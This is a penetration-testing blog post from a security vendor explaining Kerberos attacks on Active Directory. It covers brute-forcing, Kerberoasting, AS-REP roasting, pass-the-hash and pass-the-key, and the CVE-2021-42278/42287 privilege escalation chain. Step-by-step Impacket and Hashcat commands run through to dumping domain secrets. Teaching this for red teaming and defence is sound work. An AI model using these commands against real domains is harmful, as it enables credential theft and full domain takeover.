Exploiting Kerberos for Lateral Movement and Privilege Escalation
- May 18, 2022
- Shawn Evans
Within most enterprise environments, authentication is handled by a central system known as the domain controller. The domain controller, or Active Directory database in Microsoft environments, is based on a hierarchical schema that stores and manages all objects and object attributes in a domain or forest, which includes users, accounts, computers, and even other domains. Active Directory provides a fairly elegant means to securely connect disparate domain resources; however, this comes at the cost of complexity. A mind-bending, security-defeating amount of complexity.
Active Directory implements two (2) primary protocols for authentication — NTLM and Kerberos. The most common (also deprecated) method of authentication is NTLM, which is a challenge/response protocol that authenticates a user without the user sending their password across the network.
NTLM is a legacy protocol and has been superseded by Kerberos. The primary difference between the two authentication protocols is that NTLM relies on a three-way handshake using password hashes, whereas Kerberos relies on symmetric key encryption and a key distribution server. Below are the over simplified steps implemented by each protocol when a client is requesting authenticated access to a server.
On a vast majority of Windows domains, NTLM is universally enabled even though Kerberos is the default authentication protocol. This is primarily present for backwards compatibility. When a Kerberos authentication request fails, Windows automatically attempts to authenticate using NTLM.
Due to the ubiquitous nature of NTLM across Windows domains, it is a common target for lateral movement. However, the adversarial utility of NTLM in red teaming or penetration testing is diminishing with time. As security programs mature and organizations implement more sophisticated monitoring and detection controls, leveraging NTLM often results in hundreds of alerts, which could impair lateral movement and ultimately thwart domain compromise. Due to the nature of Kerberos authentication, monitoring and detection on the KDC is more complicated than NTLM and, as a result, is often not monitored.
This blog post is going to analyze methods through which Kerberos can be exploited in a capacity similar to NTLM to minimize the risk of detection and augment existing methods of lateral movement.
Kerberos is an authentication protocol and, as such, it is possible to perform brute-force attacks against it. Moreover, brute-forcing Kerberos has adversarial advantages over brute-forcing other authentication protocols:
The tool Kerbrute, based on the Python library Impacket, can be used to perform a brute-force attack against Kerberos from a Linux system. The attack requires the domain, a username list, and list of passwords. Note, it is recommended to only guess a single password at a time to minimize the risk of account lockout and service disruption. Don’t be that guy!!
shawnevans@pop-os:~/tools/kerbrute$ python3 kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt
Kerberoasting is an attack technique that targets services protected by weak or easily guessed passwords.
This attack requires:
Any authenticated domain user has the ability to query Activity Directory for service principal names (SPN). SPNs are used to uniquely identify a Windows service. Any service that requires Kerberos authentication must have at least one service account logon associated with the SPN. Authenticated domain users can use a TGT to request a service granting ticket from the KDC. The service ticket (TGS) sent to the requesting user is partially encrypted with the Kerberos hash of the service account, which serves as a private key. This means that the encrypted private key/hash of the service account is prone to offline cracking attacks. Service accounts often have elevated rights in Windows domain environments and are well suited for lateral movement and privilege escalation.
The attack is fairly simple and can be executed using any one of a variety of tools.
The Impacket Python library includes an example script GetUserSPNs.py that can be used to retrieve the Kerberos hash of an SPN.
root@attack01:~# ./GetUserSPNs.py -request -dc-ip 192.168.244.102 -outfile service.ticket.hashes labs.scip.ch/rtam
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
--------------------------- ------------------ ------------------------------------------------------------------ ------------------- -------------------
MSSQLSvc/app01.labs.scip.ch srv_database_app01 CN=DL-IT-Local-Admin-App01,OU=Groups,OU=Labs,DC=labs,DC=scip,DC=ch 2018-06-06 12:46:44 2018-09-11 14:31:47
$krb5tgs$23$*srv_database_app01$LABS.SCIP.CH$MSSQLSvc/app01.labs.scip.ch*$56cad1b053bc77b6ca5607175fa1eccd$9a5b3fe08b8a2e6e77c75b4a7ec399fdc...snip...
To crack the service ticket hash, use Hashcat.
shawnevans@pop-os:~/tools/hashcat$ ./hashcat.bin -m 13100 --force service.ticket.hashes <passwords_file>
By default, the KDC requires all accounts to have pre-authentication enabled. This security control of the KDC provides a defense against replay attacks. Pre-authentication requires that the client sending the authentication request includes a time-stamp encrypted with the user’s password. The KDC decrypts the time-stamp with the user’s password stored in Active Directory and is able to verify the request was not a replay. When pre-authentication is disabled on an account, it’s possible for any user to request a TGT on behalf of the misconfigured account and crack the ticket offline.
This attack requires:
The Impacket Python library includes an example script GetNPUsers.py that can be used to retrieve a TGT on behalf of the victim account. If no credentials are available, a list of target domain usernames must be provided, as demonstrated below.
shawnevans@pop-os:~/tools/impacket/examples$ python GetNPUsers.py <domain_name>/ -usersfile domain-users.txt -format hashcat -outputfile no-preauth-tgts.txt
If you have valid domain credentials for at least one account, it’s possible to perform a pre-authentication check against all domain users, as demonstrated below.
shawnevans@pop-os:~/tools/impacket/examples$ python GetNPUsers.py <domain_name>/<domain_user>:<domain_password> -request -format hashcat -outputfile no-preauth-tgts.txt
To crack the retrieved TGT, use Hashcat.
shawnevans@pop-os:~/tools/hashcat$ ./hashcat.bin -m 18200 no-preauth-tgts.txt <passwords_file>
A common method of lateral movement used against Windows systems with SMB enabled is pass-the-hash. This method of attack leverages an NTLM hash of a local or domain user to authenticate to the system rather than a clear text password. The hash is then sprayed across systems on the network as a means to evaluate privileges across a domain. The same methodology can be applied to Kerberos. In this case, rather than use the NTLM hash to authenticate to systems, the hash is used to obtain a TGT from the KDC. The TGT can then be used to authenticate to domain resources.
This attack can be achieved from a Linux system using the Impacket example tool getTGT.py and any one of a number of tools that support Kerberos authentication including the Impacket examples smbexec.py, psexec.py, secretsdump.py, and wmiexec.py, as well as CrackMapExec. Note that Impacket relies on the presence of the environment variable “KRB5CCNAME” to point to the location of the TGT (ccache) file.
To use an NTLM hash as a means to retrieve a ticket, use getTGT.py, as captured below.
shawnevans@pop_os:~/tools/impacket/examples$ python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef151e03 nopsec.local/bhenderson
It’s possible to perform this same attack using an AES key, which is referred to as pass-the-key. Over-pass-the-hash and pass-the-key both achieve the same end goal, which is to request a TGT from the KDC and store it in a ccache file. To perform a pass-the-key attack, just swap out the hashes for AES 128 or 256 key, as demonstrated below.
shawnevans@pop_os:~/tools/impacket/examples$ python getTGT.py -dc-ip 192.168.1.105 -aesKey aes256-cts-hmac-sha1-96:9408d21d58098c7dac9b448ed56de29cd51b5aaadbb58a34a173b77f0d31a44b nopsec.local/bhenderson
The Impacket tool secretsdump.py can be used to retrieve an AES key with an NTLM hash, but the user must have administrative privileges.
shawnevans@pop_os:~/tools/impacket/examples$ python secretsdump.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef151e03 nopsec.local/bhenderson -just-dc
This one is a long shot, but it’s worth checking. In November 2021, Microsoft released a hotfix to address a privilege escalation problem that impacted Active Directory. Researchers determined that it was possible to combine CVE-2021-42278 and CVE-2021-42287 to elevate privileges from a basic domain user to a domain administrator. The issue relates to the manner in which Active Directory handled new computer account names, which should always end in a “$” character.
By default in Active Directory each domain user has a MachineAccountQuota set to 10. This means that each domain user can create up to 10 computer accounts on the domain. Provided the MachineAccountQuota is greater than 0, a domain user could create a computer account with a NULL “servicePrincipalName” and exploit CVE-2021-42278 to change the “sAMAccountName” attribute to that of a domain controller account without the “$” and request a TGT of the computer account (which is currently DA).
Once the DC TGT is obtained, the computer account name must be restored to the original value (or any value other than the domain controller) so it won’t be located when the KDC looks up the account. Like so many things in Windows, there’s a cascading lookup for accounts if the first attempt should fail (we’ve seen this theme before….think unquoted service paths or LLMNR/NB poisoning).
Anyways, when the lookup for the non existent domain controller account fails, Active Directory will automatically search for a computer account of the same name but with a “$” at the end or in other words it will find the domain controller account. This is effectively the exploit for CVE-2021-42287. By using the obtained TGT associated with a non-existent “sAMAccountName,” it is possible to request a service ticket for the domain controller, which includes the authorization privileges of the domain controller account. Bam, you’re DA! That is, if you find an unpatched domain controller.
This attack requires :
To begin the attack chain exploiting Kerberos, we must first create a computer account on the domain using the Impacket tool addcomputer.py, as demonstrated below.
shawnevans@pop_os:~/tools/impacket/examples$ python3 addcomputer.py -computer-name ShineyNewComputer$' -computer-pass 'P@$$hole!' -dc-host DC01 -domain-netbios domain 'domain.local/compromised_account:$ecureP@$$word'
Next, set the machine account SPN to a NULL value using the Impacket tool addspn.py, as demonstrated below.
shawnevans@pop_os:~/tools/impacket/examples$ python3 addspn.py --clear -t ShineyNewComputer$' -u ‘domain\compromised_account' -p ‘$ecureP@$$word' 'DomainController.domain.local'
Rename the new machine to match the DC (but without a $) using the Impacket tool renameMachine.py, as demonstrated below.
shawnevans@pop_os:~/tools/impacket/examples$ python3 renameMachine.py -current-name ‘ShineyNewComputer$' -new-name ‘DC01' -dc-ip dc01 'domain.local/compromised_account:$ecureP@$$word'
Obtain a TGT for the computer account using the Impacket tool getTGT.py, as demonstrated below. Note that this will output the ticket to “dc01.ccache”.
shawnevans@pop_os:~/tools/impacket/examples$ python3 getTGT.py -dc-ip DC01 'domain.local/dc01:P@$$hole!'
Rename the new machine back to the original name using the Impacket tool renameMachine.py, as demonstrated below.
shawnevans@pop_os:~/tools/impacket/examples$ python3 renameMachine.py -current-name ‘DC01' -new-name ‘ShineyNewComputer$' -dc-ip dc01 'domain.local/compromised_account:$ecureP@$$word'
Finally, impersonate the domain admin by requesting a service ticket for the DC using the TGT using the Impacket tool getST.py, as demonstrated below. Note that this will output the service ticket to “domainadmin.ccache”.
shawnevans@pop_os:~/tools/impacket/examples$ export KRB5CCNAME=dc01.ccache; python3 getST.py -self -impersonate 'DomainAdmin' -altservice 'cifs/DomainController.domain.local' -k -no-pass -dc-ip dc01 'domain.local/dc01'
Congrats, you should now be DA. Now do something cool like dump the domain with the impersonated service ticket.
shawnevans@pop_os:~/tools/impacket/examples$ export KRB5CCNAME=domainadmin.ccache; python3 secretsdump.py -just-dc -k -no-pass -dc-ip dc01 'domain.local/dc01'
This blog covered a lot of ground regarding the adversarial use of Kerberos as a means for lateral movement and privilege escalation and should provide a solid foundation to build upon for more complex attacks such as unconstrained, constrained, and resource-based constrained delegation. But, those are topics for another article.
NopSec enables you to assess exposure, remediate vulnerabilities, measure progress, and more. NopSec’s end-to-end platform brings your processes (and platforms) together and provides your team with the means to then discover, prioritize, remediate, simulate, and report on cyber exposures.
Learn more about the current landscape of cyber threat and exposure management by downloading the free white paper today.